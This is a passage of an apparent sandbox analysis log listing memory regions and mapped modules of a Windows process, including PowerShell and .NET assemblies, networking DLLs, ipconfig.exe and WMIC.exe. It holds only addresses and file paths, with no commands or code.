= "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 2479 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 2550 start_va = 0x7fee6290000 end_va = 0x7fee6328fff entry_point = 0x7fee6290000 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 2551 start_va = 0x7fefd180000 end_va = 0x7fefd1c6fff entry_point = 0x7fefd180000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2552 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2599 start_va = 0x7fefcd50000 end_va = 0x7fefcd5bfff entry_point = 0x7fefcd50000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2629 start_va = 0x1d80000 end_va = 0x1d80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d80000" filename = "" Region: id = 2630 start_va = 0x2a50000 end_va = 0x2acffff entry_point = 0x0 region_type = private name = "private_0x0000000002a50000" filename = "" Region: id = 2631 start_va = 0x75690000 end_va = 0x75758fff entry_point = 0x75690000 region_type = mapped_file name = "msvcr80.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_88e41e092fab0294\\msvcr80.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_88e41e092fab0294\\msvcr80.dll") Region: id = 2632 start_va = 0x7fee0df0000 end_va = 0x7fee178cfff entry_point = 0x7fee0df0000 region_type = mapped_file name = "mscorwks.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\mscorwks.dll") Region: id = 2773 start_va = 0x1e80000 end_va = 0x1e82fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e80000" filename = "" Region: id = 2774 start_va = 0x1e90000 end_va = 0x1e90fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e90000" filename = "" Region: id = 2775 start_va = 0x1f40000 end_va = 0x1f5ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f40000" filename = "" Region: id = 2776 start_va = 0x2920000 end_va = 0x2a1ffff entry_point = 0x0 region_type = private name = "private_0x0000000002920000" filename = "" Region: id = 2777 start_va = 0x2ad0000 end_va = 0x2bd0fff entry_point = 0x0 region_type = private name = "private_0x0000000002ad0000" filename = "" Region: id = 2778 start_va = 0x2c50000 end_va = 0x2c5ffff entry_point = 0x0 region_type = private name = "private_0x0000000002c50000" filename = "" Region: id = 2779 start_va = 0x2c60000 end_va = 0x2cdffff entry_point = 0x0 region_type = private name = "private_0x0000000002c60000" filename = "" Region: id = 2780 start_va = 0x2ce0000 end_va = 0x1acdffff entry_point = 0x0 region_type = private name = "private_0x0000000002ce0000" filename = "" Region: id = 2781 start_va = 0x1ace0000 end_va = 0x1b3affff entry_point = 0x0 region_type = private name = "private_0x000000001ace0000" filename = "" Region: id = 2782 start_va = 0x1b4a0000 end_va = 0x1b51ffff entry_point = 0x0 region_type = private name = "private_0x000000001b4a0000" filename = "" Region: id = 2783 start_va = 0x7fef2620000 end_va = 0x7fef34fbfff entry_point = 0x7fef2620000 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll") Region: id = 2784 start_va = 0x7ff00020000 end_va = 0x7ff0002ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00020000" filename = "" Region: id = 2785 start_va = 0x7ff00030000 end_va = 0x7ff0003ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00030000" filename = "" Region: id = 2786 start_va = 0x7ff00040000 end_va = 0x7ff000dffff entry_point = 0x0 region_type = private name = "private_0x000007ff00040000" filename = "" Region: id = 2787 start_va = 0x7ff000e0000 end_va = 0x7ff000effff entry_point = 0x0 region_type = private name = "private_0x000007ff000e0000" filename = "" Region: id = 2788 start_va = 0x7ff000f0000 end_va = 0x7ff0015ffff entry_point = 0x0 region_type = private name = "private_0x000007ff000f0000" filename = "" Region: id = 2789 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 2790 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 2791 start_va = 0x1ea0000 end_va = 0x1eaffff entry_point = 0x0 region_type = private name = "private_0x0000000001ea0000" filename = "" Region: id = 2792 start_va = 0x1b520000 end_va = 0x1b801fff entry_point = 0x1b520000 region_type = mapped_file name = "system.management.automation.dll" filename = "\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll") Region: id = 2793 start_va = 0x7fef1bf0000 end_va = 0x7fef2612fff entry_point = 0x7fef1bf0000 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system\\adff7dd9fe8e541775c46b6363401b22\\system.ni.dll") Region: id = 2794 start_va = 0x7fef3910000 end_va = 0x7fef39c1fff entry_point = 0x7fef3910000 region_type = mapped_file name = "microsoft.powershell.consolehost.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\b023321bc53c20c10ccbbd8f78c82c82\\microsoft.powershell.consolehost.ni.dll") Region: id = 2795 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 2796 start_va = 0x7fffff10000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 2797 start_va = 0x7fef1090000 end_va = 0x7fef1becfff entry_point = 0x7fef1090000 region_type = mapped_file name = "system.management.automation.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.A#\\009a09f5b2322bb8c5520dc5ddbb28bb\\System.Management.Automation.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.management.a#\\009a09f5b2322bb8c5520dc5ddbb28bb\\system.management.automation.ni.dll") Region: id = 2798 start_va = 0x7ff00160000 end_va = 0x7ff0016ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00160000" filename = "" Region: id = 2799 start_va = 0x1f30000 end_va = 0x1f32fff entry_point = 0x1f30000 region_type = mapped_file name = "l_intl.nls" filename = "\\Windows\\System32\\l_intl.nls" (normalized: "c:\\windows\\system32\\l_intl.nls") Region: id = 2800 start_va = 0x27e0000 end_va = 0x289ffff entry_point = 0x27e0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 2801 start_va = 0x77e00000 end_va = 0x77e06fff entry_point = 0x77e00000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 2802 start_va = 0x1f60000 end_va = 0x1f60fff entry_point = 0x0 region_type = private name = "private_0x0000000001f60000" filename = "" Region: id = 2803 start_va = 0x1f70000 end_va = 0x1f74fff entry_point = 0x1f70000 region_type = mapped_file name = "sorttbls.nlp" filename = "\\Windows\\assembly\\GAC_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp" (normalized: "c:\\windows\\assembly\\gac_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp") Region: id = 2804 start_va = 0x2710000 end_va = 0x2750fff entry_point = 0x2710000 region_type = mapped_file name = "sortkey.nlp" filename = "\\Windows\\assembly\\GAC_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp" (normalized: "c:\\windows\\assembly\\gac_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp") Region: id = 2805 start_va = 0x7ff00170000 end_va = 0x7ff0017ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00170000" filename = "" Region: id = 2806 start_va = 0x1f80000 end_va = 0x1f87fff entry_point = 0x1f80000 region_type = mapped_file name = "microsoft.wsman.runtime.dll" filename = "\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.wsman.runtime\\1.0.0.0__31bf3856ad364e35\\microsoft.wsman.runtime.dll") Region: id = 2807 start_va = 0x1f90000 end_va = 0x1f90fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f90000" filename = "" Region: id = 2808 start_va = 0x1b810000 end_va = 0x1b90ffff entry_point = 0x0 region_type = private name = "private_0x000000001b810000" filename = "" Region: id = 2809 start_va = 0x1e230000 end_va = 0x1e278fff entry_point = 0x1e230000 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\assembly\\GAC_64\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\assembly\\gac_64\\system.transactions\\2.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 2810 start_va = 0x7fef0d60000 end_va = 0x7fef108dfff entry_point = 0x7fef0d60000 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.core\\83e2f6909980da7347e7806d8c26670e\\system.core.ni.dll") Region: id = 2811 start_va = 0x7fef3730000 end_va = 0x7fef3814fff entry_point = 0x7fef3730000 region_type = mapped_file name = "system.transactions.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Transactions\\051655963f24f9ade08486084c570086\\System.Transactions.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.transactions\\051655963f24f9ade08486084c570086\\system.transactions.ni.dll") Region: id = 2812 start_va = 0x7fef3820000 end_va = 0x7fef38c9fff entry_point = 0x7fef3820000 region_type = mapped_file name = "microsoft.wsman.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.wsman.man#\\8cd73e65058ef6f77f36b62a74ec3344\\microsoft.wsman.management.ni.dll") Region: id = 2813 start_va = 0x7fef38d0000 end_va = 0x7fef3901fff entry_point = 0x7fef38d0000 region_type = mapped_file name = "system.configuration.install.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.configuratio#\\fcf35536476614410e0b0bd0e412199e\\system.configuration.install.ni.dll") Region: id = 2814 start_va = 0x7fef9100000 end_va = 0x7fef9168fff entry_point = 0x7fef9100000 region_type = mapped_file name = "microsoft.powershell.commands.diagnostics.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\microsoft.powershell.commands.diagnostics.ni.dll") Region: id = 2815 start_va = 0x1fa0000 end_va = 0x1fa0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001fa0000" filename = "" Region: id = 2816 start_va = 0x642ff4a0000 end_va = 0x642ff4a9fff entry_point = 0x642ff4a0000 region_type = mapped_file name = "culture.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Culture.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\culture.dll") Region: id = 2817 start_va = 0x7fef0a20000 end_va = 0x7fef0b37fff entry_point = 0x7fef0a20000 region_type = mapped_file name = "microsoft.powershell.commands.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\9206dc8156588e608d405729c833edc5\\microsoft.powershell.commands.management.ni.dll") Region: id = 2818 start_va = 0x7fef0b40000 end_va = 0x7fef0d55fff entry_point = 0x7fef0b40000 region_type = mapped_file name = "microsoft.powershell.commands.utility.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\cdf48153115fc0bb466f37b7dcad9ac5\\microsoft.powershell.commands.utility.ni.dll") Region: id = 2819 start_va = 0x7fef36f0000 end_va = 0x7fef372dfff entry_point = 0x7fef36f0000 region_type = mapped_file name = "microsoft.powershell.security.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\microsoft.powershell.security.ni.dll") Region: id = 2820 start_va = 0x2be0000 end_va = 0x2c33fff entry_point = 0x2be0000 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\mscorrc.dll") Region: id = 2821 start_va = 0x7fef0060000 end_va = 0x7fef01f4fff entry_point = 0x7fef0060000 region_type = mapped_file name = "system.directoryservices.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.directoryser#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\system.directoryservices.ni.dll") Region: id = 2822 start_va = 0x7fef0200000 end_va = 0x7fef036bfff entry_point = 0x7fef0200000 region_type = mapped_file name = "system.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management\\c44929bde355680c886f8a52f5e22b81\\System.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.management\\c44929bde355680c886f8a52f5e22b81\\system.management.ni.dll") Region: id = 2823 start_va = 0x7fef0370000 end_va = 0x7fef0a14fff entry_point = 0x7fef0370000 region_type = mapped_file name = "system.xml.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Xml\\ee795155543768ea67eecddc686a1e9e\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.xml\\ee795155543768ea67eecddc686a1e9e\\system.xml.ni.dll") Region: id = 2824 start_va = 0x7fef92c0000 end_va = 0x7fef92c6fff entry_point = 0x7fef92c0000 region_type = mapped_file name = "shfolder.dll" filename = "\\Windows\\System32\\shfolder.dll" (normalized: "c:\\windows\\system32\\shfolder.dll") Region: id = 2825 start_va = 0x1fa0000 end_va = 0x1fb0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001fa0000" filename = "" Region: id = 2826 start_va = 0x2a20000 end_va = 0x2a20fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a20000" filename = "" Region: id = 2827 start_va = 0x7feefed0000 end_va = 0x7fef0053fff entry_point = 0x7feefed0000 region_type = mapped_file name = "mscorjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\mscorjit.dll") Region: id = 2828 start_va = 0x7ff00180000 end_va = 0x7ff0018ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00180000" filename = "" Region: id = 2829 start_va = 0x7ff00190000 end_va = 0x7ff0019ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00190000" filename = "" Region: id = 2830 start_va = 0x7ff001a0000 end_va = 0x7ff001affff entry_point = 0x0 region_type = private name = "private_0x000007ff001a0000" filename = "" Region: id = 2831 start_va = 0x7ff001b0000 end_va = 0x7ff001bffff entry_point = 0x0 region_type = private name = "private_0x000007ff001b0000" filename = "" Region: id = 2832 start_va = 0x7ff001c0000 end_va = 0x7ff001cffff entry_point = 0x0 region_type = private name = "private_0x000007ff001c0000" filename = "" Region: id = 2833 start_va = 0x7ff001d0000 end_va = 0x7ff001dffff entry_point = 0x0 region_type = private name = "private_0x000007ff001d0000" filename = "" Region: id = 2834 start_va = 0x7ff001e0000 end_va = 0x7ff001effff entry_point = 0x0 region_type = private name = "private_0x000007ff001e0000" filename = "" Region: id = 2835 start_va = 0x1b970000 end_va = 0x1b9effff entry_point = 0x0 region_type = private name = "private_0x000000001b970000" filename = "" Region: id = 2836 start_va = 0x7fefda20000 end_va = 0x7fefda2afff entry_point = 0x7fefda20000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 2837 start_va = 0x7fefda50000 end_va = 0x7fefda74fff entry_point = 0x7fefda50000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2838 start_va = 0x7ff001f0000 end_va = 0x7ff001fffff entry_point = 0x0 region_type = private name = "private_0x000007ff001f0000" filename = "" Region: id = 2839 start_va = 0x7ff00200000 end_va = 0x7ff0020ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00200000" filename = "" Region: id = 2840 start_va = 0x7ff00210000 end_va = 0x7ff0021ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00210000" filename = "" Region: id = 2841 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 2842 start_va = 0x1b9f0000 end_va = 0x1baeffff entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 2843 start_va = 0x2a30000 end_va = 0x2a30fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a30000" filename = "" Region: id = 2844 start_va = 0x1baf0000 end_va = 0x1bdeefff entry_point = 0x1baf0000 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\assembly\\GAC_64\\System.Data\\2.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\assembly\\gac_64\\system.data\\2.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 2845 start_va = 0x7feef680000 end_va = 0x7feefecafff entry_point = 0x7feef680000 region_type = mapped_file name = "system.data.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.data\\accc3a5269658c8c47fe3e402ac4ac1c\\system.data.ni.dll") Region: id = 2846 start_va = 0x7fefdc30000 end_va = 0x7fefdc3efff entry_point = 0x7fefdc30000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 2847 start_va = 0x7fefddf0000 end_va = 0x7fefdf56fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 2848 start_va = 0x7fefee30000 end_va = 0x7fefee7cfff entry_point = 0x7fefee30000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2849 start_va = 0x7feffec0000 end_va = 0x7feffec7fff entry_point = 0x7feffec0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 2850 start_va = 0x7ff00220000 end_va = 0x7ff0022ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00220000" filename = "" Region: id = 2851 start_va = 0x7ff00230000 end_va = 0x7ff0023ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00230000" filename = "" Region: id = 2852 start_va = 0x2a40000 end_va = 0x2a4ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a40000" filename = "" Region: id = 2853 start_va = 0x2c40000 end_va = 0x2c4ffff entry_point = 0x0 region_type = private name = "private_0x0000000002c40000" filename = "" Region: id = 2854 start_va = 0x1b3b0000 end_va = 0x1b3bffff entry_point = 0x0 region_type = private name = "private_0x000000001b3b0000" filename = "" Region: id = 2855 start_va = 0x1b3c0000 end_va = 0x1b3cffff entry_point = 0x0 region_type = private name = "private_0x000000001b3c0000" filename = "" Region: id = 2856 start_va = 0x7ff00240000 end_va = 0x7ff0024ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00240000" filename = "" Region: id = 2857 start_va = 0x7ff00250000 end_va = 0x7ff0025ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00250000" filename = "" Region: id = 2858 start_va = 0x7ff00260000 end_va = 0x7ff0026ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00260000" filename = "" Region: id = 2859 start_va = 0x1beb0000 end_va = 0x1c83ffff entry_point = 0x0 region_type = private name = "private_0x000000001beb0000" filename = "" Region: id = 2860 start_va = 0x7feef530000 end_va = 0x7feef672fff entry_point = 0x7feef530000 region_type = mapped_file name = "system.configuration.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.configuration\\091b931d0f6408001747dbbbb05dbe66\\system.configuration.ni.dll") Region: id = 2861 start_va = 0x7ff00270000 end_va = 0x7ff0027ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00270000" filename = "" Region: id = 2862 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 2863 start_va = 0x7fef4d40000 end_va = 0x7fef4d5bfff entry_point = 0x7fef4d40000 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 2864 start_va = 0x7fef4d60000 end_va = 0x7fef4dc1fff entry_point = 0x7fef4d60000 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 2865 start_va = 0x7fef6570000 end_va = 0x7fef6580fff entry_point = 0x7fef6570000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 2866 start_va = 0x7fefd420000 end_va = 0x7fefd474fff entry_point = 0x7fefd420000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 2867 start_va = 0x1c840000 end_va = 0x1c9affff entry_point = 0x0 region_type = private name = "private_0x000000001c840000" filename = "" Region: id = 2868 start_va = 0x7fefce20000 end_va = 0x7fefce26fff entry_point = 0x7fefce20000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 2869 start_va = 0x7fefd410000 end_va = 0x7fefd416fff entry_point = 0x7fefd410000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 2870 start_va = 0x1b3d0000 end_va = 0x1b3effff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b3d0000" filename = "" Region: id = 2871 start_va = 0x1b3f0000 end_va = 0x1b46ffff entry_point = 0x0 region_type = private name = "private_0x000000001b3f0000" filename = "" Region: id = 2872 start_va = 0x7fef7190000 end_va = 0x7fef71f3fff entry_point = 0x7fef7190000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 2873 start_va = 0x7fef7200000 end_va = 0x7fef7270fff entry_point = 0x7fef7200000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 2874 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 2875 start_va = 0x7fefb680000 end_va = 0x7fefb6a6fff entry_point = 0x7fefb680000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 2876 start_va = 0x7fefb670000 end_va = 0x7fefb67afff entry_point = 0x7fefb670000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 2877 start_va = 0x7fef9680000 end_va = 0x7fef9690fff entry_point = 0x7fef9680000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 2878 start_va = 0x7fef9660000 end_va = 0x7fef9677fff entry_point = 0x7fef9660000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 2879 start_va = 0x7fefd080000 end_va = 0x7fefd089fff entry_point = 0x7fefd080000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 2880 start_va = 0x1be30000 end_va = 0x1beaffff entry_point = 0x0 region_type = private name = "private_0x000000001be30000" filename = "" Region: id = 2881 start_va = 0x7fefd2a0000 end_va = 0x7fefd2fafff entry_point = 0x7fefd2a0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 2882 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 2883 start_va = 0x1c9b0000 end_va = 0x1cc1ffff entry_point = 0x0 region_type = private name = "private_0x000000001c9b0000" filename = "" Region: id = 2884 start_va = 0x7fefbc10000 end_va = 0x7fefbc17fff entry_point = 0x7fefbc10000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 2885 start_va = 0xff260000 end_va = 0xff26efff entry_point = 0xff260000 region_type = mapped_file name = "ipconfig.exe" filename = "\\Windows\\System32\\ipconfig.exe" (normalized: "c:\\windows\\system32\\ipconfig.exe") Region: id = 2901 start_va = 0x1b470000 end_va = 0x1b480fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b470000" filename = "" Region: id = 2902 start_va = 0xff8e0000 end_va = 0xff8eefff entry_point = 0xff8e0000 region_type = mapped_file name = "ipconfig.exe" filename = "\\Windows\\System32\\ipconfig.exe" (normalized: "c:\\windows\\system32\\ipconfig.exe") Region: id = 2964 start_va = 0x7ff00280000 end_va = 0x7ff0028ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00280000" filename = "" Region: id = 2965 start_va = 0xff100000 end_va = 0xff10ffff entry_point = 0xff100000 region_type = mapped_file name = "wmic.exe" filename = "\\Windows\\System32\\wbem\\WMIC.exe" (normalized: 